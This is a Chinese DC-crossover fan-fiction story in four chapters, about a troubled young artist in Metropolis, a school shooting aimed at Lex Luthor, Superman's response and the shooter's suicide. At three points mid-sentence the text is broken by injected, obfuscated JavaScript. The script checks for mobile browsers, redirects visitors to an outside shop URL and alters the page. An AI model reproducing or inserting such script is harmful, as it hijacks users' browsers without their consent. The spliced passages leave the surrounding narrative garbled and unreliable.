《【综英美】红死魔之城》 1. 伊拉·萨麦尔·史密斯 在手机响起的时候,伊拉正在刮刀上的红色颜料涂向画纸,他的手一抖,险些将颜料涂抹在错误的地方,但幸好,他控制住了自己。伊拉放下刮刀,在围裙上擦了擦手,然后才按下了免提键:“怎么了?妈?” 女人的声音从手机的听筒中传来,她的声音非常悦耳,还带着一种独特的空灵:“亲爱的,妈妈的白胶用完了,可以帮妈妈拿下来吗?” “好的,”伊拉说,他又擦了擦手,拿着手机走向二楼,然后拉下了通往阁楼的扶梯,“还是放在原来的地方吗?要几罐?” “两……不,三罐吧,然后再拿一瓶松节油。”女人说,她轻笑了一下,然后挂断了电话。伊拉一边从梯子爬进阁楼,一边把手机放回口袋里,阁楼堆满了各种材料,因为长期通风不良而带着沉闷的气味。他把手放在鼻子前扇了扇,然后将一瓶松节油塞进围裙的兜里,才拿起三罐10升的白胶。 他的手摇晃了一下,这些东西对他来说不算沉重,但拿着也不轻松。他小心翼翼地走下梯子,先把白胶放在地上,等放好梯子之后向着地下室走去。 地下室的门还是和过去一样虚掩着,只要轻轻抬手就能推开,但莉莉丝·史密斯工作的时候,谁都不会打扰她,她需要安静,艺术的灵感会因为嘈杂消失,缪斯不喜欢吵闹的地方。伊拉抬起脚,用脚尖敲了敲门,等到莉莉丝说了“进来”之后,他才走进了地下室。 地下室还是和过去别无二致,冷白的灯光照耀着被油漆和各种胶水弄得一片狼藉的地面,各类小巧的人偶或者建筑的微缩模型摆放在房间的每一个角落。而最为引人注目的,自然是摆放在房间中心的巨大展台。 展台上摆放着各种建筑物和人偶,看起来就像是城市的模型,但只有仔细观察才会发现端倪。那些房屋全都带着某种不切实际的扭曲,是在现实之中无法存在的房屋类型,而人偶们几乎全都肢体残缺、容貌丑陋,仿佛正在忍受着地狱之中的业火的灼烧。 伊拉把白胶和松节油放在了莉莉丝的身边,她是个身材高挑的女人,此时此刻正穿着一件垂到脚踝的白大褂。她的面容被护目镜和防毒面具遮掩,头发也被包裹在帽子的后面,她挥了挥还戴着手套的手,对伊拉说:“好孩子,可惜我现在不能亲你一口,快点上去吧,这里的气味太大了,对你的身体不好,妈妈今晚会上来吃晚饭。” “好的,妈妈。”伊拉说,他对着莉莉丝笑了一下,然后转身,不远处的桌子上蹲坐着一只绿色眼睛的黑猫,黑猫对着伊拉龇了龇牙。 “妈妈,”伊拉突然想到了什么,“今晚蕾切尔也要上来吃饭吗?” “或许?不过给蕾切尔准备猫粮和水就够了,比起冷冻之后解冻的鸡胸肉,我们的坏女孩更喜欢活物,但我可不能让她去抓树上蹦蹦跳跳的小鸟。”莉莉丝回答,她也看向了黑猫。黑猫咪了一声,声音之中带着些许不满,但是她还是打了个滚,在桌子上伸了个懒腰。 其实伊拉还想和妈妈多说两句,但是房间里油漆和胶水的味道确实让他无法忍受,他离开了地下室,回到自己的房间之后推开窗户。新鲜的空气和夕阳一起向着房间涌入,他短暂地长出一口气,然后拿起了刮刀。刮刀上的油画颜料还没干,不过伊拉还是重新调整了颜色,他将颜料的色彩与夕阳相比,然后涂抹在了画上。 画纸上的大都会因为这一笔而多了一抹穿梭在云天之上的,艳丽的红色。 画完这一笔,他仔细观察着画面,思考是否还有什么需要加减的,现实中的大都会正处在日暮,画中的大都会却朝阳初升,两者之间那么相似,又截然不同。 不知为何,伊拉产生了一种叹息的冲动,他放下刮刀,站在窗前,从他的方向可以看到莱克斯大厦和星球日报的大楼,只是今天超人的身影并未出现在作为取景框的窗户之中。也不知道超人最近在忙些什么,他想,或许是什么星球又遇上了麻烦,或许是哪个国家发生了严重的事故,但不要紧,超人红色的披风就代表了安全,大家一定会一切都好。 至少伊拉是这样期待的。 他伸了个懒腰,决定先去洗个澡然后再做饭,妈妈最近很忙,一起吃饭的时间不多,因此伊拉非常珍惜每一次的用餐时间。 第二天伊拉起了个大早,在把妈妈的早饭放在餐桌上之后自己骑车离开了家。和心理医生约好的时间是早上九点,多余的时间他打算用在写生上。大都会的街道是全美最安全的,几乎没有什么想不开的家伙会在超人和莱克斯·卢瑟的共同管理之下犯罪,因此独自出门的伊拉也很安全。 他坐在喷水池的边上,面对着星球日报的大楼和楼下的热狗小摊拿出了铅笔,一个高大的身影从另一个方向跑到了小摊的边上,提高了声音说自己需要一份面包夹热狗。接着他回头看到了伊拉,又对摊主要了一份热狗,等到摊主将两份食物都放在他的手上之时,那个大个子才走到了伊拉的身边。 “早上好,伊拉,今天怎么这么早就出来了?吃过早饭了吗?”他将热狗递给伊拉,脸上带着温和的微笑。 伊拉其实已经吃过了,但他还是接过热狗,对着男人说了谢谢:“非常感谢,肯特先生,今天我要去复查,和医生约定的时间是九点,现在我想来这里写生。” 男人,克拉克·肯特点了点头。 他知道伊拉的身体一直都不是很好,需要定期去医院检查,虽然他并不知道伊拉到底得了什么病症,但这不妨碍他关心面前这个性格温和,总是彬彬有礼的男孩,尤其是这段时间……这段时间他的心情很好,无论看什么都像是带着一层柔光的滤镜,在看着伊拉的时候他比起过去更加心情愉快。 “那我就不继续打扰你了,伊拉,”克拉克笑着说,他伸手摸了摸伊拉的头,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184999|196994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得不要画得太入迷哦,你还有很多事情要做呢。” 伊拉看着他点了点头,然后从自己的本子里撕下了一张纸递给克拉克,克拉克接过那张纸,在纸上画着大都会的风景,在阳光之下星球日报的报社被镀上一层金色,超人的身影也几乎和天空融为一体。克拉克看着伊拉的画,脸上的笑容变得更加柔和了。 “很漂亮,谢谢你,伊拉。”他说。 “不用谢,肯特先生。”伊拉摇了摇头,他注视着克拉克的身影消失在星球日报的旋转门之中,然后他低下头,开始在纸上继续涂抹着什么。 阳光照耀在他的身上。 医生看着伊拉。 少年正在将一个个人偶摆放在沙盘上,他的动作非常轻柔,令人错觉他在摆放的并非人偶,而是切实存活于世的人类。他的眼神也并非每时每刻都有着聚焦,在非常偶尔的时候,他会出现短暂的恍惚。两人都知道这一次治疗并不会有想象中的效果,但治疗已经成为了习惯的一部分,即便并非不可或缺。 “我的建议还是和过去一样。”在结束了例行问话之后,医生对伊拉说,“你的大脑并没有像是一般的病人那样出现器质性的病变,主要问题还是出现在认知上,既然如此,保持现状是目前对你而言最好的选择。总之,不要擅自服药,保持认知,遇到事情多思考,时刻确定,你就是伊拉·萨麦尔·史密斯而不是其他人。” 伊拉点了点头,他甚至还笑了一下:“这么多年我就是这样过来的,已经习惯了……而且最近的情况有所好转,我已经很少在和人说话的时候……去到那个世界了。” “这说明你在和人交流的时候能够更好的维护自己的认知,”医生说,他在病历本上写写画画,“继续保持,总有一天你会痊愈的。对了,下周三是你的生日对吧?比起邮件我还是更喜欢当面祝福,你可能会觉得这有点老派……总之,我提前祝你生日快乐,等会儿你可以去前台的伊莎贝拉小姐那里拿一份礼物。” “谢谢。”伊拉说,他站起身来,把一次性纸杯里的水一口喝完,然后才走出房间。前台的伊莎贝拉小姐给了他一盒用丝带包扎起来的油画棒,伊拉其实并不缺少这个,但是在看到礼物的时候还是很高兴。礼物代表的是心意,而这才是最关键的。 回家需要经过会展中心,那里已经开始了布展的准备,巨大的横幅上写着“灵薄狱——莉莉丝·利维坦·史密斯回归之作”。在墙上贴着莉莉丝过去的作品,无数微缩景观描绘出地狱和炼狱的景象。“有人说我是疯女人,”在饭桌上的时候,莉莉丝曾经这么说过,“我说去他……哦,这句话在妈妈最可爱的小蛋糕面前说是不是不好?总之我说……” 反正人世间已然是炼狱,伊拉记得,莉莉丝曾经这么说过。 但这里有超人,有正义联盟,所以这里也不算太差吧?而伊拉这么想。 2. 校园枪击 当伊拉背着书包踏入校门的时候,他确实感觉到了在大都会高中内弥漫的,那种近乎狂喜的气氛。 他知道这是因为什么,莱克斯集团的总裁,莱克斯·卢瑟将在今天莅临大都会高中发表演讲,捐赠一批新的实验室器材,最重要的是,会给出一些莱克斯集团的社会实践岗位,对于未来想要升入大学进行深造的学生来说,这是可遇而不可求的好消息。就算抛开这些不谈,能够和这位大都会实际上的掌控者,大都会的无冕之王打好关系,对于未来也有好处。 这算不上是什么肮脏的现实,只能说是这个社会运转的根基,伊拉也不会像是母亲那样批判“现在的孩子比起脚踏实地更喜欢争权夺利”,因为这也是一种对自己负责的表现。 他走进班里,喜悦的情绪几乎也要将他裹挟进入其中了,他在和同学们问好之后回到了自己的座位上,然后将手放在了右边的同桌弗雷特的身上:“你还好吗?” 弗雷特抬眼看向他,在勉强挤出了一个笑容之后摇了摇头。 伊拉无奈地叹了口气,然后一把抓住弗雷特,把他拉到了走廊上。弗雷特比起伊拉更高也更强壮,但在被伊拉拽住的时候他并没有抵抗,只是跟在了伊拉的身后。伊拉看着他,在短暂的沉默之后问弗雷特:“你还好吗?要不要去心理辅导室或者医务室休息一下?如果你不希望别人知道的话,我可以让安德森把球队休息室暂时借你用。” 弗雷特看着伊拉,在沉默良久之后摇了摇头:“放心吧,我没事……已经过去了这么久,我也该学会接受现实了……” 接受现实,这句话听起来和没事简直背道而驰,伊拉微微皱起了眉头,他继续拖着弗雷特,两人一起走到了空置的教室里。伊拉把弗雷特按在椅子上,自己则双手撑着桌子站立,用着一种近似于居高临下的姿态看着弗雷特:“接受现实可不是什么好次,弗雷特,我希望可以……至少是可以听到你的真实想法。” 弗雷特短暂地沉默了一会儿,然后将脸埋进自己的手里。 “我不能接受。”他说。 在说出这句话的瞬间,弗雷特的声音变得尖锐了起来,简直就像是要将自己的喉咙完全撕裂一般的咆哮之声回荡在空旷的教室里:“我不能接受!凭什么他能活得好好的,在这里被大家敬仰,所有人都忘了我的爸爸妈妈的事情!他们就白死了!白死了!” 伊拉沉默着,他将手放在弗雷特的肩上,弗雷特继续咆哮着。咆哮的声音自然不好听,甚至可以直说“极为刺耳”,但除开咆哮,他甚至无法发出任何声音:“这不……这不公平!他只要交一笔钱,然后就,就出狱了!他的惩罚就这样结束了!他,他就这样,这样摇身一变,变成了一个清清白白的好人?哈,好人?超人原谅了他,正义联盟也是,但我的父母呢!” “但我呢!” 弗雷特的肩膀随着他的咆哮而颤抖,仿佛他随时会因为不堪重负倒下,但是弗雷特没有倒下,他只是看着伊拉,原本绿色的眼睛被猩红的怒火烧成了黑色。伊拉看着他,伊拉的手继续扶在了他的肩膀上,他可以感觉到弗雷特的体温越发冰凉。 良久,弗雷特才终于止住了颤抖,然而这并不是什么平静的释怀,因为再次抬眼之时,弗雷特的眼神之中切实透露出了一种死寂,就像是永远不可能再度复燃的灰烬:“伊拉,你是个好哥们,虽然你总是奇奇怪怪的……今天卢瑟演讲的时候,你别来会场。” “别做傻事!弗雷特!”伊拉一瞬间提高了声音,弗雷特所说的并不是什么令人心情愉快的好话,其中蕴含着的不祥之意甚至让他的胃一阵抽紧。而弗雷特笑了一下,他的眼中依旧是一片死寂:“听着,伊拉,这不是什么傻事,这是我现在唯一能为自己做的事情了。没人能帮我,没人能给我想要的东西,我会用自己的手做到早该有人做的事情。” 这么说着,弗雷特起身,离开了空教室,伊拉用力一捶桌子,脸上露出了有些两难的表情。 然后他举步,也走出了空教室,在离开教室的瞬间,他的余光看到蕾切尔似乎站在窗台上凝望着他。 然而那必然是一个错觉。 卢瑟总裁的演讲在上午十点开始,当他穿着高定西服,身后跟着一个不知名的保镖出现在演讲台上之时,整个礼堂几乎沸腾。他的脸上带着那种矜持的,高高在上的微笑,对着下面的学生们挥手,然后他开始宣讲关于努力、关于选择和关于科技进步的东西。伊拉的眼神一直都跟着弗雷特,弗雷特的座位离演讲台还有一些距离,伊拉不确定弗雷特会用什么手段刺杀卢瑟。 但他知道弗雷特必然会动手。 仇恨一旦升起便将会永无止息,更不要说这份仇恨早已失去了调和的机会,伊拉感觉到微妙的紧张,他的心跳加快,呼吸也变得急促,他听到自己的脑海里有什么人正在发出嘲笑。 接着,他被一阵声音呼唤。 在伊拉的视线终于聚焦之时,他看到被递到面前的话筒,卢瑟对他微笑,所有人的视线都落在他的身上,然后卢瑟问:“那么你觉得城市是什么?” 妈妈,莉莉丝也曾经问过伊拉——你觉得城市是什么。 “对于不同人,不同文明来说,城市的定义是不一样的,”伊拉在短暂的沉默之后回答,“但我愿意说,城市是‘反自然’的。每一个城市都构成一个人类的聚居处,政治、经济和文化在城市中交汇。在城市中,人类‘不得不’做出一些违背天性的事情,以更好的融入集体,因此,会有人将城市视为‘不自由’的象征……” 伊拉说着自己的想法,数不清的目光聚焦在他的身上,其实伊拉并不喜欢这个,他并不擅长被人注视和凝望,然而他还是成功表达了自己的意思。在短暂的沉默之后,卢瑟拍了拍手,掌声在话筒的扩音之下回荡在整个礼堂当中,然后卢瑟说:“很有趣的想法。我记得你,你是伊拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185000|196994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ·史密斯,莉莉丝女士的儿子,不是吗?” “是的,卢瑟先生。”伊拉回答。 “果然,”卢瑟上下打量着伊拉,有着清澈的蓝色眼睛和微微蜷曲的黑发的少年站在人群之中,却像是孤身一人身处荒野之上,“你对于莉莉丝女士的观点‘人世即为旷野’是怎么看的?” “我认为……”伊拉说,但话音未落,礼堂中响起了枪声。 学生们在短暂的恍惚之后终于反应过来了那是什么,于是尖叫声一时之间充满了整个礼堂,卢瑟身边的保镖,那个超能力者突然消失,等到再次出现的时候,她将弗雷特抓住,按着跪倒在了演讲台上。枪和子弹都掉落在地上,卢瑟并没有受到任何伤害,毫无疑问的。 毫无疑问的,一个拿枪的,甚至没怎么用过枪的高中生,怎么可能在超能力者的保护之中杀死卢瑟呢? 而几乎是在同时,超人的身影也出现在了礼堂之中,无风自动的赤红披风引起了另一阵尖叫,然而值得庆幸的是,所有人都安静了下来,大家不再因为恐惧尝试逃窜离开礼堂,而是留在了原地,向着超人投去了信任的眼神。无论发生了什么,只要超人出现,就不需要担心了,超人一定会保护好所有人的,每个人都这样想。 而弗雷特还是跪在地上,没有人看他。 超人把弗雷特扶了起来,那双蓝色的眼眸之中满是悲悯:“孩子,你为什么要做出这样的事情?” 弗雷特一把打开超人的手,他的眼睛就像是濒死的野兽一般:“滚开!别在这里假惺惺的!” 超人愣了一下,但是他并没有生气——是啊,超人怎么会因为这种事情生气呢?他只是继续柔声询问弗雷特:“孩子,不管在你的身上发生了什么,你都可以告诉我,告诉我们,如果说有什么是我可以帮你的话……但是,请千万不要做出这种极端的傻事。” “极端的,傻事?”弗雷特在礼堂中尖叫,远离他的麦克风收录了他的声音,然后发出了啸叫,“超人!卢瑟!难道你们认不出我是谁?卢瑟杀死了我的父母,我要让他血债血偿!” 然后超人和卢瑟终于认出了弗雷特,于是超人沉默,卢瑟看着他,说:“我很抱歉,孩子。” “很抱歉?”弗雷特重复,他几乎要笑出来了,“很抱歉!太好了,你很抱歉,你很抱歉能XX的起到什么作用!我的爸爸妈妈死了!是被你杀死的!然后你还在这里,你坐了三个月的牢,然后你就XX的变成了拯救世界的大英雄,你变成了浪子回头洗心革面的好人,但我呢!我的爸爸妈妈呢!我的家呢!你XX的毁了我的一切,然后你在这里说你很抱歉!” 下一秒,弗雷特又转向了超人:“但超人,你呢!你也原谅了他,谁XX允许你原谅的!谁允许你代替我原谅的!你在全世界面前说卢瑟是好人了!所以我的爸爸妈妈就该死吗!说话啊!超人!告诉我!” 但没有人回答他的问题。 3. 不公的坠落 伊拉仍然注视着演讲台上的情形,他又一次感觉到了熟悉的眩晕,哭声和笑声同时在他的耳畔回荡。大都会高中橄榄球队的队长莱特看到他有些摇摇欲坠的样子,连忙伸手扶住了他,莱特压低了声音问:“伊拉,怎么了?要不要去医务室?” 伊拉摇了摇头,他感激地对莱特笑了一下,然后站直了身体:“我没事,只是……只是弗雷特他……” 在班上,弗雷特的事情并不是什么秘密,但毕竟已经过去了十年,班上的同学也不可能时时刻刻照顾他的感受。倒不如说,正是因为大都会高中的学风确实不错,弗雷特才会直到现在都没有遭受严重的霸凌,毕竟他所仇恨的对象不是其他人,而是大都会的无冕之王,和大都会的太阳之子。 “没办法,”莱特摇了摇头,然后又重复了一遍,“没办法。” 而台上的争执也接近尾声,依旧没有人对弗雷特所说的事情做出任何回答。超人认真地劝慰着弗雷特不要沉湎于复仇,对仇恨的执着只会破坏弗雷特自己的灵魂。而弗雷特也终于停止了咆哮,他看着超人,他的眼中映出了超人的容貌,他说:“我的灵魂?” “是的,”超人说,超人的语气之中满是悲悯,“孩子,你的灵魂。我曾经见到过许多人,一部分他们的父母也遭遇了不测,但即便如此,他们依旧从仇恨之中挣脱了出来,找到了自己前行的道路。我所见过的最为出色的人正是如此,后来,他成为了一名英雄。” 弗雷特笑了一声,超人明白自己的话并不是那么容易被人听进去的,但他依然希望自己起到了安慰这个孩子的作用。卢瑟环抱着双臂,伫立在一边,唯有他一言不发——而卢瑟在此时此刻能说什么呢?我很抱歉?我的错?我已经接受过惩罚了?我愿意再接受一次惩罚?还是说“我不会起诉你”?卢瑟只能一言不发。 然后弗雷特站起来,他推开了要来扶他的超人,摇摇晃晃地走出了礼堂。超人的眼中满是担忧,他轻声对卢瑟说:“我去看看那个孩子。”卢瑟并没有阻拦,只是打了个手势,任凭他离开。接着,卢瑟又一次拿起了话筒,然后他说:“我们继续。” 哭泣着、咆哮着的弗雷特很快就被人抛在脑后了,比起和一个疯疯癫癫的未成年人讨论明摆着无解的问题,大家唯一能做的是更加重视自己的前途。莱克斯集团将会允许一批高中生在暑期进入集团内实习,莱克斯集团将会开具实习证明,甚至卢瑟会准备一些推荐信送给那些表现出色的人,于是欢呼的声音响起,大家都将得到自己想要的东西。 人生便是如此美好。 放学之后,伊拉留在球队的休息室里,他是大都会高中队的实习球队经理,负责计算球队的收支,并且协助真正的球队经理做一些广告宣传之类的活动。大都会高中的球队实行一定程度上的学生自治,他们认为将一部分工作交到学生手中,他们也能将球队运营得很好,而伊拉正是这句话的证明。 他的计算从未出错,他的父母也可以提供一些宣传,尤其是知名艺术家莉莉丝女士,她只要在采访中随便说一句关于大都会高中球队的东西,就可以带来无数关注,这也是为什么整个球队的人都仰望着伊拉。加入球队的孩子期待的并不是愉快的玩耍,而是奖学金、加分和推荐信,甚至直接进入职业球队的机会。 为此他们甚至仰望着伊拉,他们仰望着伊拉正如仰望着自己的前途。伊拉能够给他们带来很多东西,太多了,以至于伊拉甚至不像是他们的同龄人,而是某个高高在上的虚影。 伊拉甚至无法评价这些举动的好坏,因为他不能,从诞生开始他和他们走的就不是一条路,因为家庭条件,因为才能,也因为其他的各种原因。他似乎天生就前行在一条坦途之上,因此他无权对还在挣扎着寻路的人做出任何评判。幸好,伊拉也没有那个评判的能力。 然后,伊拉听到有人敲门,他打开门,走进来的是超人。 伊拉愣了一下,但立刻,他就反应了过来,他给超人拉开椅子,又倒了一杯能量饮料:“抱歉,这里只有这个和淡盐水,请问您来这里有什么事吗?” 超人叹了口气,他的眼眸犹如一碧如洗的天空,只是如今的青空之下带着隐约的忧虑:“我和莱克斯谈过了……” 伊拉安静地听着超人所说的每一个词语,即使他觉得超人在说的每一句话,每一个词语都不是对伊拉自己说的。超人想要说服的是谁呢?如果可以不去考虑这么麻烦的事情该有多好。 “我和莱克斯谈过了,”然后超人重复了一遍这句话,“他说,他很抱歉,一切都是他的错,那个时候的他被嫉妒和仇恨蒙蔽了双眼,以至于做出了许多不可挽回的事情。为此,他愿意接受法律的制裁,也愿意做出对受害者的补偿,接下来他会在正义联盟的监督之下继续服刑,直到服完他过去应得的刑期。并且他愿意将自己手中莱克斯集团的部分股权转让,以补偿受害者和受害者家属。” 伊拉安静地听着,他看着超人的手指不断摩挲着一次性纸杯的杯壁,似乎说出这段话对于超人来说也是一件困难的事情:“当然,我也明白经济上的补偿并不能挽回已经失去的生命,但我依然认为每个人都应该有第二次机会……一个成为了好人的莱克斯比起死去的卢瑟对世界有更多的好处,而且我相信他已经改邪归正了。” “这些话不应该跟我说,超人先生,”伊拉的语气非常温柔,“我相信您可以找到弗雷特,他才是更需要听到您的心声的人。” 超人放下杯子,将脸埋在了自己的手心:“我找到了那孩子,但……但那孩子不愿意接受,也不想要和我沟通。我想,你们是朋友,你或许可以开解那个孩子。” 伊拉看着超人,在短暂的沉默之后,他叹了口气。 接着,嘈杂的尖叫声在校园里回荡,伴随着“有人跳楼了”的呐喊。超人的脸色一瞬间发生了改变,他夺门而出,几乎是瞬间消失在了伊拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185001|196994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的视野里,而伊拉看着超人曾经坐过的位置,在那里伫立着无论是面容还是身形都已然完全扭曲的鬼魂。弗雷特的鬼魂站在那里,他的头已经被摔碎,肢体也完全扭曲,弗雷特的鬼魂看着伊拉。 “你想要什么?”伊拉问。 弗雷特的鬼魂说:“以血还血,我想要的是公平。” 然后,弗雷特的鬼魂消失在了伊拉的眼中,伊拉低下头,看着地面上沁开的,只有他自己能够看见的血迹不断蔓延。 而鬼魂说,他想要的是公平。 伊拉蹲下身,将手放在血迹之上,伊拉说:“我还不知道该如何带来公平……但我会的。” 超人看着地面上的尸体,那全然扭曲的身躯已经无法与今天看到的那个疯狂而痛苦的少年划上等号,只有身上穿着的,大都会高中的校服昭示着他的身份。超人不可能救下所有人,超人不可能监听全世界,但在亲眼看到上午还在愤怒嘶吼的人于此时此刻化为了破碎的尸骨之时,他还是感觉到了悲伤和切实的愧怍。 恐惧着这一切的孩子四散开去,救护车驶入校园,老师聚拢过来,而超人,超人停留在原地,超人看着他们缓缓抬起在地面上破碎的尸骨,装入黑色的裹尸袋里。 那个少年在礼堂之中的怒吼依旧回荡在他的耳中。 他看着天空,和逐渐西沉的太阳。 伊拉背好书包,骑着自行车回到了家里,妈妈还在工作,迎接他的是在门口的蕾切尔——虽然伊拉并不觉得蕾切尔看到自己之后转身就走,一边走还一边发出近乎咆哮的嘶声也算是迎接,但老实说,蕾切尔今天的态度比起过去确实好了不是一点两点。伊拉走进家门,回到自己的房间之后打开柜子,将画材摆放起来。 他不知道自己该画些什么,于是他只是用油画刮刀刮取了红色的颜料,在纯白的画布上划出了一个巨大的S。血红色的“S”切开画布,仿佛是一道巨大的伤口。看着这一道伤口,他又一次感觉到了头痛,剧烈的疼痛几乎要撕碎他的大脑,他倒在了床上,无奈地叹息着。 他的手臂瘫在柔软的被褥里面,几乎要陷下去,然后寒冷的空气将他的身体凝结,他他手指无法屈伸——他又回到了将他冷冻的冰棺之中。 每一天他都只能透过冰棺的缝隙勉强观察到外面的景象——然而外面的景象对他而言并不十分重要,他只知道有人被解冻,有人被释放出来,有人获得了新的任务。这里没有什么大不了的事情,这里也不会发生什么大不了的事情,这里的每一天都毫无区别,他被冰封,他存在着,他甚至无法确定自己这样还算不算活着。 但活着又有什么意义呢?在冰棺里的时候,伊拉会这样想。 活着难道就一定比死去更好吗?还是说人类恐惧死亡的唯一原因是还没有死过一次呢?他又是为什么如此执着的保持着思考,是因为不甘心,还是因为有什么东西催促着他? 他闻到酸性土地的气息。 4. 周二 毫无疑问的是,弗雷特的死并未给大都会带来任何东西。 他流出的血很快就被擦掉了,据说是大都会高中的保洁加班的结果,有人在草坪里捡到了他的骨头,但那也只是据说的事情。他的死并未占据任何报纸的版面,大家正在说的是更加重要的事情——经济危机、制裁、走私和战争,一个失败自杀的校园枪击者什么都不算。所有传言在一天之内消失殆尽,好像他死了不止一年。 大家依旧在兴奋地讨论着自己的未来,关于莱克斯集团的实习,关于参观瞭望塔,关于追加奖学金和学贷降息,也关于梦想和婚姻。大都会高中的橄榄球队将会在一个月之后参加全美高中生橄榄球大赛,校长甚至专门联系了超级碗的明星球员来到大都会高中,他们将会对这些年轻的球员们进行指导。如果必要,可以使用一些药物,这也是校长告诉伊拉的。 这很常见,运动员对于用药的标准就是“趁它还没被禁止而尽快拿出成绩”,不过在用药的时候,他们也会考虑安全性,大都会高中的学生毕竟还不是职业球员,暂时没有为了成绩舍生忘死的准备。当然,这也和大都会禁毒有关,毕竟超人不喜欢看到诸如此类的东西。 伊拉结束了和校长的对话,给球队做好训练规划之后回到了教室。他感觉到一些视线落在他的身上,在他转头的时候那些视线又消失了,他知道这是为什么,大家想要知道关于橄榄球赛的事情,最好拿到免费的门票,但是大家顾及伊拉的心情——伊拉和弗雷特的关系不错,弗雷特刚死就惦记着问伊拉要门票,这种事情确实有些过分。 然而伊拉并没有他们想得那么悲伤。 他将笔记本摊开,在空白的纸张上随意涂鸦,他先画出了骷髅,然后在上面一条条涂抹肌肉,接着是眼球,他和自己画出的眼球对视,骷髅一言不发。老师走上讲台,他很快就注意到了伊拉正在画画,不过他对此并不在意,只是清了清嗓子,提高了声音:“现在把课本翻到第197页,上节课我们说到……” 几乎所有的老师都不会在意伊拉到底在上课的时候干些什么,毕竟首先,伊拉是个“天才”。他不需要像是其他孩子那样专心致志地学习,就可以理解书本中的内容,然后拿出优异的成绩。当然,或许是因为在他的家里有人给他补课,但是谁知道呢,这只是一个“符合理性的猜测”。而最重要的是,教导伊拉的老师都知道,伊拉有精神类的疾病。 伊拉的父母并没有将伊拉具体的病症告诉老师,在老师们之间倒是存在推测,最有可能的是解离症,不过考虑到伊拉的病症并未在实际上带来影响,他们也不会对此说三道四。伊拉只是喜欢画画,那就让他画,反正这么多年下来,他们都见过更麻烦的未成年人。 就像是他们没有那么在乎伊拉一样,伊拉也没有那么在乎他们,如果自己并未被人打扰,伊拉也更喜欢一个人绘制那些几乎毫无意义的图像。在绝大部分时候,出现在他脑海中的构图都是毫无意义的,只是无数黑红的,堆砌的色块,营造着某种令人不安的气氛。 莉莉丝曾经安慰过伊拉,表示营造气氛也是一种才能,并不是只有被理解的画面才有存在的意义,但伊拉自己其实并不喜欢这样的画作。如若画面是发自内心的,他确实不喜欢自己的内心,他会在画作完成之前把它们擦去,或者用颜料涂抹殆尽,然后在其上绘制出大都会,亦或者飞翔的超人。 超人,S,他曾经说过在氪星人的语境之中,S是意思是“希望”。希望、宽容、悲悯和慈爱,超人,超人代表着的那些好的东西,已然不可分割的成为了大都会的底色,就像是抬起头的时候总能看到明媚的太阳。伊拉看着画面,然后将骷髅全部擦去,他开始在之上绘制超人的图样。 一如往昔。 然后伊拉转头,他看到蕾切尔正在远处的房顶上漫步,这是很少见的情况,蕾切尔并不喜欢太阳,她更喜欢躲藏在地下室里,等到夜晚出来伏击猎物,她会将猎物完全撕碎,把血和内脏涂抹到房间的每个角落。似乎是注意到了伊拉的视线,蕾切尔转头看向了伊拉,她龇了龇牙,绿色的眼中跳跃着丝丝凶恶的光芒。 蕾切尔,伊拉轻轻蠕动着嘴唇,念出了蕾切尔的名字,黑猫的耳朵抖了一下,然后跳下窗台。在确定自己看不到蕾切尔之后,伊拉才又一次低下了头,他看到画纸上的超人像变得模糊,像是有人拿沾了水的海绵用力摩擦画纸,把整张纸都弄得一片狼藉。 这或许是一个预兆,只是伊拉不知道这个预兆到底代表了什么。 放学之后,伊拉还是留在橄榄球队的办公室处理球队的工作,办公室并未按照他的喜好装潢,只是保留着几年之前的样子,在展柜里陈列着一套全新的装备,据说这是之前校友捐献的。在角落里还摆放着一根棒球棍,这是前两年万圣节的时候用来角色扮演的,上面还涂着用来充当血迹的红色油漆。 他把文件整理好,放在了书架上,然后转过头去,超人与风一起出现在了橄榄球队的办公室里。 “超人?”伊拉看向超人,他感到困惑,不明白为什么超人会来找他——他很清楚超人是来找自己的,毕竟在这个时间,办公室里基本也只有伊拉。然后超人对伊拉露出了一个微笑,只是这份微笑之中带着一丝不易察觉的苦涩和担忧,他走过来,说:“伊拉,首先我要提前祝你生日快乐——抱歉,本来想好的是准时庆生,但我突然有事,只能提前说了。” “有什么我可以帮上你的吗?”伊拉问,他担心地看着超人,会让超人感到麻烦的事情不多,但毫无疑问,那一定足够危险。而超人摇了摇头,他并不相信伊拉可以帮到自己什么,他只是因为感觉到了伊拉的善意,因此心中产生了愉快的情绪。他摸了摸伊拉的头,从披风里掏出了一盒颜料递给伊拉。 伊拉看着颜料,这并不是他习惯的 